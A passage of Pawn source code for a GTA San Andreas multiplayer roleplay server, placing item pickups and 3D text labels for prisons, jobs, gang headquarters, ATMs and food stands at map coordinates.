	prisonpickup8=CreatePickup(1318, 1, -1083.569335, -654.687927, 32.030052);// prison exterior
	prisonpickup9=CreatePickup(1318, 1, -1117.873413, -669.502746, 32.028049);// prison exterior
	prisonpickup10=CreatePickup(1318, 1, 2152.68408, 1296.27893, 7698.04248-3999);// prison interior
	prisonpickup11=CreatePickup(1318, 1, -1117.840698, -701.680603, 32.028053);// prison exterior
	prisonpickup12=CreatePickup(1318, 1, -1005.365173, -722.966125, 32.608818);// prison exterior
	prisonpickup13=CreatePickup(1318, 1, -1968.75317, 324.56018, 1551.14771+1);// prison interior
	prisonpickup14=CreatePickup(1318, 1, 387.85202, 2324.43579, 1888.59009+1);// prison interior
	prisonpickup15=CreatePickup(1318, 1, -1029.960449, -697.685363, 32.190486);// prison exterior
	prisonpickup16=CreatePickup(1318, 1, 2592.55933, -1498.15564, -49.93408+1);// prison interior
	prisonpickup17=CreatePickup(1318, 1, -996.734436, -674.593200, 32.594863);// prison exterior
	prisonpickup18=CreatePickup(1318, 1, 2569.12085, -1487.74036, -49.91753+1);// prison interior
	prisonpickup19=CreatePickup(1318, 1, -996.57977, -696.44598, 31.02546+1);// prison exterior
	prisonpickup20=CreatePickup(1247, 1, -1015.353576, -598.169372, 32.033050);// prison exterior
	prisonpickup21=CreatePickup(1279, 1, -1056.618774, -636.930114, 47.475296);// prison exterior
    CreatePickup(1239, 1, 2589.205810, -1500.543701, -48.914062);


	CreatePickup(1239, 1, 1481.0206,-1771.1138,18.7958,0); //City Hall LS
	CreatePickup(1239, 1, 1641.388671,-2177.379638,13.554687,0);//Exam pickup
	CreatePickup(1239, 1, 362.0605,173.7425,1008.3828,55); ///lawyer (ok )
	CreatePickup(1239, 1, 359.5408,206.7693,1008.3828,55);///detective (ok )
	CreatePickup(1239, 1, -382.6660,-1426.5121,26.2410,0); // Farmer job pickup
	CreatePickup(1239, 1, -1061.110107,-1195.576660,129.728820,0);//farmer job pickup 2
	CreatePickup(1239, 1, 2802.8596,2430.6089,11.0625,0);//Victim LV
	CreatePickup(1239, 1, 1554.9537,-1675.6584,16.1953,0);//PD Building
	CreatePickup(1239, 1, 2770.6973,-1628.4293,12.1775,0); //materials get pickup
	CreatePickup(1239, 1, 1570.3828,-1333.8882,16.4844,0); // LS TOWER /enter
	//take jobs
	CreatePickup(1239, 1, 1658.4885,2199.7075,10.8203,0);//car mechanic takejob

    CreatePickup(1239, 1, 358.673706, 182.649597, 1008.382812,55); //job license

	CreatePickup(1239, 1, 2766.482177,-1610.956542,10.921875 ,0);//car mechanic takejob
	//HQS Pickups
	CreatePickup(1239, 1, 1122.7065,-2037.0063,69.8942,0); // Vagos hq entrance
	//CreatePickup(1239, 1, 1649.305664,-1656.475585,22.515625,0);//SFPD Bala Pickup (Edit)
   // CreatePickup(1239, 1, -1606.268066,672.061706,-4.906250,0);//SFPD Paein Pickup (Edit)
	CreatePickup(1239, 1, -1639.474853,716.886535,48.937500,0);//Storm Bala Pickup (Edit)
	CreatePickup(1239, 1, 2793.181152,-1080.431518,30.718750,0);//Storm Paein Pickup (Edit)
	CreatePickup(1239, 1, 2637.4326,2352.0256,10.8203,0); // GroveStreet Family HQ
	CreatePickup(1239, 1, 725.5550,-1451.0232,17.6953,0); //Da Nang Boys HQ
	CreatePickup(1239, 1, 1456.7424,2773.4614,10.8203,0);//HQ Triads entrace
	CreatePickup(1239, 1, 1455.4546,750.9794,11.0234,0);//HQ TBF
	CreatePickup(1239, 1, 2792.800292, -1087.528320, 30.718750, 0);//VLA
	//CreatePickup(1239, 1, -2720.359619, -318.036743, 7.843750, 0);//Top Boys
	CreatePickup(1239, 1, 1615.0603,1815.7771,10.8203,0); // HQ Medic pickup /goup heli
	CreatePickup(1239, 1, 1607.4210,1787.6932,30.4688,0); //HQ meci pickup /godown heli
	CreatePickup(1239, 1, 2287.0576,2432.1121,10.8203,0);//DEA HQ ENTER
	CreatePickup(1239, 1, 1080.997192,-345.408233,73.984069,0);//hq hitman entrance
	CreatePickup(1239, 1, 960.3047,1784.0295,8.8516,0);//Taxi Up Two
	CreatePickup(1239, 1, 946.0334,1790.6084,15.7941,0);//Taxi Down Two
	//Hotdog/ATM
	CreatePickup(1239, 1, 2327.5669,2420.0872,10.8203,0);//hotdog place
	CreatePickup(1239, 1, 2536.7705,2137.3352,10.8203,0);//hotdog place
	CreatePickup(1239, 1, 1589.4072,-1288.5424,17.5171,0);//hotdog place
	//CreatePickup(1239, 1, 2536.9187,2154.1409,10.8203,0);//icecram place
	//CreatePickup(1239, 1, 2125.5737,1443.1979,10.8203,0);//icecram place
	CreatePickup(1239, 1, 2144.3965,1440.8734,10.8203,0);//hotdog place
	CreatePickup(1239, 1, 1543.6354,-1697.5503,13.5469,0);//hotdog place
	CreatePickup(1239, 1, 1803.9893,-1861.9354,13.5769,0);//hotdog place
	//CreatePickup(1239, 1, 1797.2557,-1861.9456,13.5769,0);//icecram place
	//CreatePickup(1239, 1, 2294.5654,2250.4661,10.8203,0);//Icecream place
	CreatePickup(1239, 1, 999.8986,-1850.0149,12.8146,0);//hotdog place
	//CreatePickup(1239, 1, 760.8732,-1678.4325,4.1114,0);//icecram place
	CreatePickup(1239, 1, 760.2253,-1670.2555,4.1461,0);//hotdog place
	CreatePickup(1239, 1, 388.5802,-2072.7168,7.8359,0);//hotdog place.
	CreatePickup(1239, 1, 1009.2220,-929.6009,42.3281,0);//ATM
	CreatePickup(1239, 1, 603.6191,-1247.6931,18.4213,0);//ATM
	CreatePickup(1239, 1, 2173.2356,1417.4757,11.0625,0);//ATM
	CreatePickup(1239, 1, 1739.4116,-1862.9391,13.5757,0);//ATM
	//CreatePickup(1239, 1, 902.3810,-1870.7043,8.4801,0);//carousel
	CreatePickup(1239, 1, 815.5756,-1868.9157,6.5925,0);//Observer
	CreatePickup(1239, 1, 841.3456,-2034.0557,12.8725,0);//FerrisWheel
	CreatePickup(1239, 1, 834.3356,-1929.6357,12.8725,0);//Cow
	//-------------------------------------------------------------------------------------
	CreatePickup(1239, 1, 1712.9865,913.2946,10.8203,0);//Materials Deliver
	//CreatePickup(1239, 1, 329.8260,-1516.1796,35.8671,0); //Dealership
	CreatePickup(1239, 1, 1541.300170,-1360.734619,329.460815,0);//Tower /exit
	//==================================[eat places]===========================
	/*for(new i = 0;i<70;i++)
	{
	   CreatePickup(1239, 1, 368.9714,-6.2486,1001.8516,i);
	   CreatePickup(1239, 1, 376.8571,-67.6620,1001.5151,i);
	   CreatePickup(1239, 1, 375.6895,-118.9683,1001.4995,i);
	   CreatePickup(1239, 1, 379.0611,-186.6032,1000.6328,i);
	}*/
	//=============[taxi]=======================
	CreatePickup(1239, 1, 937.3935,1733.2067,8.8516,0);
	CreatePickup(1239, 1, 2515.572265,-1473.751220,24.009740,0);//getjob carjacker
	CreatePickup(1239, 1, 1765.061889,-2031.958862,14.048107,0);//getjob busdriverls
	CreatePickup(1239, 1, 1909.430297,2351.376453,10.979915,0);//getjob busdriverlv
	CreatePickup(1239, 1, 1610.875122,-1893.910522,13.546875,0);//getjob sweeper
	CreatePickup(1239, 1, -13.077162, 47.826896, 3.117187,0);//getjob liquor dealer
	CreatePickup(1239, 1, 253.998931, 1451.826293, 10.585937,0);//getjob oil dealer

	//===========[trucker]================
	CreatePickup(1239, 1, -77.235397,-1136.455932,1.078125,0);//getjob Trucker
	CreatePickup(1239, 1, 1524.7275,-1677.5446,5.8906,0);//LSPD Armoury
	//CreatePickup(1239, 1, 1524.7275,-1677.5446,5.8906,0);//SFPD Armoury // SFPD EDIT //
	CreatePickup(1239, 1, 242.3151,66.3457,1003.6406,0); // /pddown
	CreatePickup(1239, 1, -1039.009643, -571.915527, 32.835742,0);

		// Travel System Picks

	//CreatePickup(1239, 1, 1642.231689,-2237.691894,13.498592,0);//LS
	//CreatePickup(1239, 1, 1662.839599,1423.421752,10.798387,0);//LV
	//CreatePickup(1239, 1, -1421.201171,-287.120727,14.148437,0);//SF


/*	gift1 = CreatePickup(1274,1, 1455.622314,-1654.499511,14.046875, 0); // LSPD Gift
	gift2 = CreatePickup(1274,1, 1067.721435,-766.291137,106.869613, 0); // Richman Gift
	gift3 = CreatePickup(1274,1, 814.571533,-1802.003295,13.023437, 0); // Santa Gift
	gift4 = CreatePickup(1274,1, 1730.182128,-2202.902832,13.546875, 0); // Airport Gift
	gift5 = CreatePickup(1274,1, 2096.071777,1286.348876,10.820312, 0); // LV Mojasame Gift
	gift6 = CreatePickup(1274,1, 1717.538818,2164.600341,10.812517, 0); // LVSpawn Gift
	gift7 = CreatePickup(1274,1, -1937.370971,882.680725,38.50781, 0); // SF1 Gift
	gift8 = CreatePickup(1274,1, -2314.375732,101.390151,35.390651, 0); // SF2 Gift
	gift9 = CreatePickup(1274,1,  -1998.756103,-903.316406,32.171875, 0); // SF3 Gift*/

	//CreatePickup(1239, 1, 2766.160156,-2006.906494,13.554687,0);//BasKet
	// EnD Travel  Picks
	
	
BuffPickup[0] = CreatePickup(11712, 1, 1513.1508, -1067.4583, 181.2031, -1);
BuffPickup[1] = CreatePickup(11712, 1, 913.7838, -1021.4692, 111.0546, -1);
BuffPickup[2] = CreatePickup(11712, 1, 1045.9967, -934.4882, 50.4062, -1);
BuffPickup[3] = CreatePickup(11712, 1, 1314.2462, -980.2194, 148.6437, -1);
BuffPickup[4] = CreatePickup(11712, 1, 1665.6339, -1245.6522, 233.3750, -1);
BuffPickup[5] = CreatePickup(11712, 1, 1671.5137, -1343.1160, 158.4765, -1);
BuffPickup[6] = CreatePickup(11712, 1, 1684.0212, -1401.5378, 84.6562, -1);
BuffPickup[7] = CreatePickup(11712, 1, 1757.3419, -1351.1390, 15.6093, -1);
BuffPickup[8] = CreatePickup(11712, 1, 1874.7092, -1317.9000, 49.4140, -1);
BuffPickup[9] = CreatePickup(11712, 1, 2025.6152, -1375.5937, 48.3390, -1);
BuffPickup[10] = CreatePickup(11712, 1, 2183.7478, -1602.2928, 21.2953, -1);
BuffPickup[11] = CreatePickup(11712, 1, 2508.8708, -1637.2268, 13.7258, -1);
BuffPickup[12] = CreatePickup(11712, 1, 2306.3049, -1837.0755, 0.9398, -1);
BuffPickup[13] = CreatePickup(11712, 1, 1980.5102, -2079.2177, 24.6187, -1);
BuffPickup[14] = CreatePickup(11712, 1, 1872.2205, -2249.1271, 24.7109, -1);
BuffPickup[15] = CreatePickup(11712, 1, 1628.5783, -2264.3449, 13.4952, -1);
BuffPickup[16] = CreatePickup(11712, 1, 673.6453, -1864.4210, 5.4538, -1);
BuffPickup[17] = CreatePickup(11712, 1, 497.0086, -1748.6398, 25.8947, -1);
BuffPickup[18] = CreatePickup(11712, 1, 483.5183, -1633.3594, 58.5972, -1);
BuffPickup[19] = CreatePickup(11712, 1, 596.7015, -1463.3093, 80.1592, -1);
BuffPickup[20] = CreatePickup(11712, 1, 327.6540, -1504.8371, 76.5390, -1);
BuffPickup[21] = CreatePickup(11712, 1, 285.4747, -1604.4989, 114.4218, -1);
BuffPickup[22] = CreatePickup(11712, 1, 347.8418, -855.0186, 11.4518, -1);
BuffPickup[23] = CreatePickup(11712, 1, 1539.4631, -759.4826, 76.1709, -1);
BuffPickup[24] = CreatePickup(11712, 1, 1774.5709, -1110.3554, 84.4765, -1);
BuffPickup[25] = CreatePickup(11712, 1, 1743.2464, -1227.4404, 91.6406, -1);
BuffPickup[26] = CreatePickup(11712, 1, 1820.7470, -1433.6335, 35.9248, -1);
BuffPickup[27] = CreatePickup(11712, 1, 1785.5299, -1544.3620, 38.9596, -1);
BuffPickup[28] = CreatePickup(11712, 1, 1654.1351, -1636.1362, 83.7812, -1);
BuffPickup[29] = CreatePickup(11712, 1, 1776.7734, -1774.4581, 52.4703, -1);
BuffPickup[30] = CreatePickup(11712, 1, 1760.1022, -1920.5759, 13.5736, -1);
BuffPickup[31] = CreatePickup(11712, 1, 1481.7781, -1789.9696, 156.7533, -1);
BuffPickup[32] = CreatePickup(11712, 1, 1365.6622, -1799.2252, 36.0156, -1);
BuffPickup[33] = CreatePickup(11712, 1, 1138.5825, -1805.1115, 33.6312, -1);
BuffPickup[34] = CreatePickup(11712, 1, 875.8256, -1806.9957, 31.7968, -1);
BuffPickup[35] = CreatePickup(11712, 1, 574.1901, -1631.9317, 38.5546, -1);
BuffPickup[36] = CreatePickup(11712, 1, 572.1085, -1370.2393, 52.4375, -1);
BuffPickup[37] = CreatePickup(11712, 1, 599.3515, -1273.6481, 64.1875, -1);
BuffPickup[38] = CreatePickup(11712, 1, 396.8599, -1101.7757, 80.6096, -1);
BuffPickup[39] = CreatePickup(11712, 1, 1245.1984, -874.8163, 51.3520, -1);
BuffPickup[40] = CreatePickup(11712, 1, 1405.6967, -981.3037, 58.7818, -1);
BuffPickup[41] = CreatePickup(11712, 1, 1443.0876, -1128.9234, 93.2989, -1);
BuffPickup[42] = CreatePickup(11712, 1, 1484.2154, -1197.3699, 108.3373, -1);
BuffPickup[43] = CreatePickup(11712, 1, 1407.3322, -1202.5639, 187.1633, -1);
BuffPickup[44] = CreatePickup(11712, 1, 1310.4274, -1365.7474, 18.8657, -1);
BuffPickup[45] = CreatePickup(11712, 1, 1161.0905, -1325.9201, 31.4978, -1);
BuffPickup[46] = CreatePickup(11712, 1, 999.1311, -1194.6467, 54.9062, -1);
BuffPickup[47] = CreatePickup(11712, 1, 936.6913, -922.4019, 57.7672, -1);
BuffPickup[48] = CreatePickup(11712, 1, 1200.7655, -756.0579, 92.5647, -1);
BuffPickup[49] = CreatePickup(11712, 1, 1438.7747, -751.2602, 85.0379, -1);
BuffPickup[50] = CreatePickup(11712, 1, 2247.7663, -1111.6844, 48.7500, -1);
BuffPickup[51] = CreatePickup(11712, 1, 2683.2050, -1123.8355, 78.9453, -1);
BuffPickup[52] = CreatePickup(11712, 1, 2758.9528, -1333.2358, 71.5703, -1);
BuffPickup[53] = CreatePickup(11712, 1, 2843.4785, -1409.5178, 45.2145, -1);
BuffPickup[54] = CreatePickup(11712, 1, 2491.5620, -2120.9814, 27.2580, -1);
BuffPickup[55] = CreatePickup(11712, 1, 2737.9272, -1760.7717, 44.2989, -1);
BuffPickup[56] = CreatePickup(11712, 1, 2032.0513, -2034.1634, 35.0157, -1);
BuffPickup[57] = CreatePickup(11712, 1, 1875.0207, -1955.8177, 20.0703, -1);
BuffPickup[58] = CreatePickup(11712, 1, 1817.0740, -1999.0130, 18.8867, -1);
BuffPickup[59] = CreatePickup(11712, 1, 1736.7170, -2024.8231, 20.5925, -1);
	
	
	
	
	//---------------------------------------------------------------------------
	CreateDynamic3DTextLabel("National Card exporter service\nType /getnc to get a national card.",COLOR_GRAD4,822.009704,6.295105,1004.179687,10.0,.testlos=1);
	CreateDynamic3DTextLabel("National Card exporter service\nType /getnc to get a national card.",COLOR_GRAD4,822.011718,-0.335233,1004.179687,10.0,.testlos=1);
	JailGate3D = CreateDynamic3DTextLabel("Gate\n use /opengate or /og to open this gate.",COLOR_WHITE,1778.161865,-1543.112182,2001.300415,10.0);
	CreateDynamic3DTextLabel("Jail Door\n use /enter to enter\n((COP ONLY))",COLOR_WHITE,1769.327392,-1542.691162,2001.300415,10.0,.testlos=1);
	CreateDynamic3DTextLabel("Jail", COLOR_WHITE,-1039.009643, -571.915527, 32.835742,10.0,.testlos=1);
	CreateDynamic3DTextLabel("LS TOWER\n Type /exit to exit", COLOR_WHITE,1541.300170,-1360.734619,329.460815,10.0,.testlos=1);
	CreateDynamic3DTextLabel("LS TOWER\n Type /enter to enter", COLOR_WHITE,1570.3828,-1333.8882,16.4844,10.0,.testlos=1);
	CreateDynamic3DTextLabel("It is DealerShip\nYou can buy vehicles here\nType /buyvehicle to buy vehicles",COLOR_WHITE,325.5731,-1514.8918,36.0325,20.0,.testlos=1);
	CreateDynamic3DTextLabel("Los Santos City Hall \nType: /enter to enter",COLOR_GRAD4,1481.0206,-1771.1138,18.7958,10.0,.testlos=1);//Los Santos City Hall
	CreateDynamic3DTextLabel("Speed Camera \nType: Allowed speed: 150 km/h",COLOR_GRAD4,1670.053100,-54.202423,40.408397,40.0,.testlos=1);//Los Santos City Hall
	CreateDynamic3DTextLabel("ATM System \n Type: /atmwithdraw to withdraw your bank's money\n Type: /atmbalance to see how much money do you have in your bank account",COLOR_GRAD4,1739.4116,-1862.9391,13.5757,10.0,.testlos=1);//
	CreateDynamic3DTextLabel("ATM System \n Type: /atmwithdraw to withdraw your bank's money\n Type: /atmbalance to see how much money do you have in your bank account",COLOR_GRAD4,1009.2220,-929.6009,42.3281,10.0,.testlos=1);//
	CreateDynamic3DTextLabel("ATM System \n Type: /atmwithdraw to withdraw your bank's money\n Type: /atmbalance to see how much money do you have in your bank account",COLOR_GRAD4,603.6191,-1247.6931,18.4213,10.0,.testlos=1);//
	CreateDynamic3DTextLabel("ATM System \n Type: /atmwithdraw to withdraw your bank's money\n Type: /atmbalance to see how much money do you have in your bank account",COLOR_GRAD4,2173.2356,1417.4757,11.0625,10.0,.testlos=1);//
	CreateDynamic3DTextLabel("ATM System \n Type: /atmwithdraw to withdraw your bank's money\n Type: /atmbalance to see how much money do you have in your bank account",COLOR_GRAD4,2301.7996,-1982.3378,13.5769,10.0,.testlos=1);// Betshop atm
	CreateDynamic3DTextLabel("/WildCows\n$10",COLOR_GRAD4,834.3356,-1929.6357,12.8725,10.0,.testlos=1);// /cow
	//CreateDynamic3DTextLabel("/FunnyCows\n$150",COLOR_GRAD4,902.3810,-1870.7043,8.4801,10.0,.testlos=1);// /Carousel
	CreateDynamic3DTextLabel("/Tran\n$800",COLOR_GRAD4,815.5756,-1868.9157,6.5925,10.0,.testlos=1);// /Observer
	CreateDynamic3DTextLabel("/Carousels\n$200",COLOR_GRAD4,841.3456,-2034.0557,12.8725,10.0,.testlos=1);// /FerrisWheel
	CreateDynamic3DTextLabel("Use /cover to cover or uncover",COLOR_WHITE,371.208709, 110.480262, 1027.215087,10.0);
	CreateDynamic3DTextLabel("Use /gunpackage to get guns\n{ff0000}You should pay $50 per package",COLOR_WHITE,363.266784, 110.244155, 1027.215087,10.0);
	//CreateDynamic3DTextLabel("Basket Ball Play \n Type: /joinbb to join basket ball",COLOR_GRAD4,2766.160156,-2006.906494,13.554687,10.0);//
	new lolst[80];
	format(lolst, 80, "Hotdog Place \nType: /hotdog to eat \n Cost: $%i", SBizzInfo[21][sbEntranceCost]);
	hotdog[0] = CreateDynamic3DTextLabel(lolst,COLOR_GRAD4,2144.3965,1440.8734,10.8203,10.0,.testlos=1);//
	hotdog[1] = CreateDynamic3DTextLabel(lolst,COLOR_GRAD4,1543.6354,-1697.5503,13.5469,10.0,.testlos=1);//
	hotdog[2] = CreateDynamic3DTextLabel(lolst,COLOR_GRAD4,1803.9893,-1861.9354,13.5769,10.0,.testlos=1);//
	hotdog[3] = CreateDynamic3DTextLabel(lolst,COLOR_GRAD4,-196.126205,2659.945556,62.839744,10.0,.testlos=1);
	hotdog[4] = CreateDynamic3DTextLabel(lolst,COLOR_GRAD4,999.8986,-1850.0149,12.8146,10.0,.testlos=1);//
	hotdog[5] = CreateDynamic3DTextLabel(lolst,COLOR_GRAD4,760.2253,-1670.2555,4.1461,10.0,.testlos=1);//
	hotdog[6] = CreateDynamic3DTextLabel(lolst,COLOR_GRAD4,388.5802,-2072.7168,7.8359,10.0,.testlos=1);//
	hotdog[7] = CreateDynamic3DTextLabel(lolst,COLOR_GRAD4,2327.5669,2420.0872,10.8203,10.0,.testlos=1);//
	hotdog[8] = CreateDynamic3DTextLabel(lolst,COLOR_GRAD4,2536.7705,2137.3352,10.8203,10.0,.testlos=1);//
	hotdog[9] = CreateDynamic3DTextLabel(lolst,COLOR_GRAD4,1589.4072,-1288.5424,17.5171,10.0,.testlos=1);//
	hotdog[10] = CreateDynamic3DTextLabel(lolst,COLOR_GRAD4,-7280.938964,5645.653808,135.283035,10.0,.testlos=1);//

	hotdog[11] = CreateDynamic3DTextLabel(lolst,COLOR_GRAD4,-2147.457031,-424.305725,35.335937,10.0,.testlos=1);//
	hotdog[12] = CreateDynamic3DTextLabel(lolst,COLOR_GRAD4,-2690.852050,383.803985,4.374998,10.0,.testlos=1);//

	//----
	// Travel System Texts

	//CreateDynamic3DTextLabel("Airport Los Santos\n Type : /buyticket For Travel",COLOR_GRAD4,1642.231689,-2237.691894,13.498592,10.0);//LS
	//CreateDynamic3DTextLabel("Airport Las Vanturas\n Type : /buyticket For Travel",COLOR_GRAD4,1662.839599,1423.421752,10.798387,10.0);//LV
	//CreateDynamic3DTextLabel("Airport San Fiero\n Type : /buyticket For Travel",COLOR_GRAD4,-1421.201171,-287.120727,14.148437,10.0);//SF
	new vl[60];
	format(vl, sizeof(vl), "%s %s\n RPG Server", SERVER_NAME1, SERVER_NAME2);
	CreateDynamic3DTextLabel(vl,COLOR_SINA2,1642.127319, -2237.589355, 13.498844,5.0,.testlos=1);//LS              Spawn Textdraw [ Ranger ] ;)
	//CreateDynamic3DTextLabel("{FF0000}Scripter Ranger{993333}:\n {33FFFF}Welcome To Our Server Hope You Enjoy.\n {66FF99}If You See Any Bug You Can Tell To Our Admins With /Report For I Fix It\n {FFFF66}If You Tell Us Any Bug We Give You Prize!.",COLOR_SINA2,1643.17542, -2247.96338, 14.65764,10.0);//LS              Spawn ActorRangerSpawn Upper [ Ranger ] ;)
	//CreateDynamic3DTextLabel("{FF0000}Mariana",COLOR_SINA2,1369.04468, -1153.58911, 25.09402,10.0);//LS            Box Mariana name
	CreateDynamic3DTextLabel("Use /BoxHelp to know how it works.",COLOR_SINAGHERMEZ,1368.02014, -1151.84814, 23.71862,10.0,.testlos=1);//LS            Box Mariana name
	// End Travel
	CreateDynamic3DTextLabel("Victim\n Type: /enter to enter",COLOR_GRAD4,2802.8596,2430.6089,11.0625,10.0,.testlos=1);//Victim LV
	//HQs
	CreateDynamic3DTextLabel("Los Santos Police Departament\n Type: /enter to enter",COLOR_GRAD4,1554.9537,-1675.6584,16.1953,10.0,.testlos=1);//LSPD HQ AFARA
	CreateDynamic3DTextLabel("Drug Enforcement Administration\n Type: /enter to enter",COLOR_GRAD4,2287.0576,2432.1121,10.8203,10.0,.testlos=1);//EBI
	CreateDynamic3DTextLabel("Dangerous Tiger Family\n Type: /enter to enter",COLOR_GRAD4,2637.4326,2352.0256,10.8203,10.0,.testlos=1);//Grove Street
	CreateDynamic3DTextLabel("The Killers Family\n Type: /enter to enter",COLOR_GRAD4,1456.7424,2773.4614,10.8203,10.0,.testlos=1);//VLA
	//CreateDynamic3DTextLabel("San Fiero Police Departament / Enter In : Parking",COLOR_GRAD4,-1605.513793,710.273010,13.867187,10.0);//SFPD Jelosh
	//CreateDynamic3DTextLabel("Top Boys Family\n Type: /enter to enter",COLOR_GRAD4,-2720.359619,-318.036743,7.843750 ,10.0);//TopBoys
	CreateDynamic3DTextLabel("Fast N Furious Family\n Type: /enter to enter",COLOR_GRAD4,1455.4546,750.9794,11.0234 ,10.0,.testlos=1);//TBF
	CreateDynamic3DTextLabel("The Silence Mafia\n Type: /enter to enter",COLOR_GRAD4,725.5550,-1451.0232,17.6953,10.0,.testlos=1);//Da Nang Boys
	CreateDynamic3DTextLabel("Legendary Men Family\n Type: /enter to enter",COLOR_GRAD4,1122.7065,-2037.0063,69.8942,10.0,.testlos=1);//Triads
	CreateDynamic3DTextLabel("Use /up for go up.",COLOR_GRAD4,2793.181152,-1080.431518,30.718750,10.0,.testlos=1);//Strm
    CreateDynamic3DTextLabel("Grape Converter\nType /convertgrape",COLOR_GRAD4,1591.281982, 1080.407104, 10.759150,10.0,.testlos=1);//Strm
	CreateDynamic3DTextLabel("Use /down for go down.",COLOR_GRAD4,2790.662597,-1088.139526,94.187072,10.0,.testlos=1);//Strm
	//CreateDynamic3DTextLabel("Baraye Bala Raftan Bezan : /up",COLOR_GRAD4,-1606.268066,672.061706,-4.906250,10.0);//SFPD
	//CreateDynamic3DTextLabel("Baraye Paiin Raftan Bezan : /down",COLOR_GRAD4,-1639.474853,716.886535,48.937500,10.0);//SFPD
	CreateDynamic3DTextLabel("Type /neon to buy a neon\nType /carplate here to buy a colored plate\nFor your personal vehicle.",COLOR_GRAD4, -1429.179931, -958.492492, 201.128356,10.0,.testlos=1);//neon shop
	/*CreateDynamic3DTextLabel("Type /bank here\nFor control your\nBank account.",COLOR_GRAD4, 1401.036499, 1320.170776, 1501.085937,5.0,25,0);//BANK LS - Baje 1 -
	CreateDynamic3DTextLabel("Type /bank here\nFor control your\nBank account.",COLOR_GRAD4, 1402.922241, 1319.958129, 1501.083984,5.0,25,0);//BANK LS - Baje 2 -
	CreateDynamic3DTextLabel("Type /bank here\nFor control your\nBank account.",COLOR_GRAD4, 1407.353515, 1319.989868, 1501.083984,5.0,25,0);//BANK LS - Baje 3 -
	CreateDynamic3DTextLabel("Type /bank here\nFor control your\nBank account.",COLOR_GRAD4, 1409.219482, 1319.882202, 1501.083984,5.0,25,0);//BANK LS - Baje 4 -
	CreateDynamic3DTextLabel("Type /bank here\nFor control your\nBank account.",COLOR_GRAD4, 1401.036499, 1320.170776, 1501.085937,5.0,26,0);//BANK LS - Baje 1 -
	CreateDynamic3DTextLabel("Type /bank here\nFor control your\nBank account.",COLOR_GRAD4, 1402.922241, 1319.958129, 1501.083984,5.0,26,0);//BANK LS - Baje 2 -
	CreateDynamic3DTextLabel("Type /bank here\nFor control your\nBank account.",COLOR_GRAD4, 1407.353515, 1319.989868, 1501.083984,5.0,26,0);//BANK LS - Baje 3 -
	CreateDynamic3DTextLabel("Type /bank here\nFor control your\nBank account.",COLOR_GRAD4, 1409.219482, 1319.882202, 1501.083984,5.0,26,0);//BANK LS - Baje 4 -
	CreateDynamic3DTextLabel("Type /bank here\nFor control your\nBank account.",COLOR_GRAD4, 1401.036499, 1320.170776, 1501.085937,5.0,27,0);//BANK LS - Baje 1 -
	CreateDynamic3DTextLabel("Type /bank here\nFor control your\nBank account.",COLOR_GRAD4, 1402.922241, 1319.958129, 1501.083984,5.0,27,0);//BANK LS - Baje 2 -
	CreateDynamic3DTextLabel("Type /bank here\nFor control your\nBank account.",COLOR_GRAD4, 1407.353515, 1319.989868, 1501.083984,5.0,27,0);//BANK LS - Baje 3 -
	CreateDynamic3DTextLabel("Type /bank here\nFor control your\nBank account.",COLOR_GRAD4, 1409.219482, 1319.882202, 1501.083984,5.0,27,0);*///BANK LS - Baje 4 -
	//CreateDynamic3DTextLabel("Type /bank or /transfer\nOn (i) pickups.",COLOR_GRAD4, 1411.985961, 1311.102172, 1501.087890,5.0,25,0);
	//CreateDynamic3DTextLabel("Type /bank or /transfer\nOn (i) pickups.",COLOR_GRAD4, 1411.985961, 1311.102172, 1501.087890,5.0,26,0);
	//CreateDynamic3DTextLabel("Type /bank or /transfer\nOn (i) pickups.",COLOR_GRAD4, 1411.985961, 1311.102172, 1501.087890,5.0,27,0);
	//CreateDynamic3DTextLabel("Staff Family\n Type: /enter to enter",COLOR_GRAD4,2560.805175,1561.846069,10.820312,10.0,.testlos=1);//Staff
	CreateDynamic3DTextLabel("Jail Yard\n Type /enter for enter to jail",COLOR_GRAD4, 193.368545, 1931.499145, 17.640625,10.0,.testlos=1);//yard/exit
	CreateDynamic3DTextLabel("Storm Men Family\n Type: /enter to enter", COLOR_GRAD4, 2792.800292, -1087.528320, 30.718750, 10,.testlos=1);
	CreateDynamic3DTextLabel("Hitman Agency\n Type: /enter to enter",COLOR_GRAD4,1080.997192,-345.408233,73.984069,10.0,.testlos=1);//Hitman
	CreateDynamic3DTextLabel("Taxi Cab Company\n Type: /enter to enter",COLOR_GRAD4,937.3935,1733.2067,8.8516,10.0,.testlos=1);//TAXI
    CreateDynamic3DTextLabel("Unknowns\n Type: /enter to enter",COLOR_GRAD4,852.4714,-1436.4944,15.0437,10.0,.testlos=1);//Hacker
    CreateDynamic3DTextLabel("Fanny Batter's Brothel shop\nType: /buyfood to buy a food.",COLOR_GRAD4,754.454162, 1457.592163, 1102.741943,5.0,.testlos=1,.interiorid=102);//Forooshgah
	//CreateDynamic3DTextLabel("Type: /GetGun to get guns",COLOR_GRAD4,1306.528564,734.602722,10.820312,10.0,.testlos=1);//Get Gun
	//CreateDynamic3DTextLabel("Type: /JoinSoldier to get finish card",COLOR_GRAD4,235.418899,74.335296,1005.039062,10.0,.testlos=1);//Join Sol

	//============================================[jobs]======================================================
	CreateDynamic3DTextLabel("You Can Become a Detective \n use /getjob to join",COLOR_JOB,359.5408,206.7693,1008.3828,12.0,.testlos=1);//detective
	CreateDynamic3DTextLabel("You Can Become a Lawyer \n use /getjob to join",COLOR_JOB,362.0605,173.7425,1008.3828,12.0,.testlos=1);//lawyer
	CreateDynamic3DTextLabel("You Can Become a Drugs Dealer \n use /getjob to join",COLOR_JOB,323.507873,1117.880981,1083.882812,12.0,.testlos=1);
	CreateDynamic3DTextLabel("You Can Become a Car Jacker \n use /getjob to join",COLOR_JOB,2515.572265,-1473.751220,24.009740,10.0,.testlos=1);//car jacker
	CreateDynamic3DTextLabel("You Can Become a Car Mechanic \n use /getjob to join",COLOR_JOB,1658.4885,2199.7075,10.8203,10.0,.testlos=1);//Car Mechanic
	CreateDynamic3DTextLabel("You Can Become a Bus Driver \n use /getjob to join",COLOR_JOB,1765.061889,-2031.958862,14.048107,10.0,.testlos=1);//Bus Driver
	CreateDynamic3DTextLabel("You Can Become a Bus Driver \n use /getjob to join",COLOR_JOB,1909.430297,2351.376453,10.979915,10.0,.testlos=1);
	CreateDynamic3DTextLabel("You Can Become a Trucker \n use /getjob to join",COLOR_JOB,-77.235397,-1136.455932,1.078125,10.0,.testlos=1);
	CreateDynamic3DTextLabel("You Can Become a Farmer \n use /getjob to join",COLOR_JOB,-1061.110107,-1195.576660,129.728820,10.0,.testlos=1);
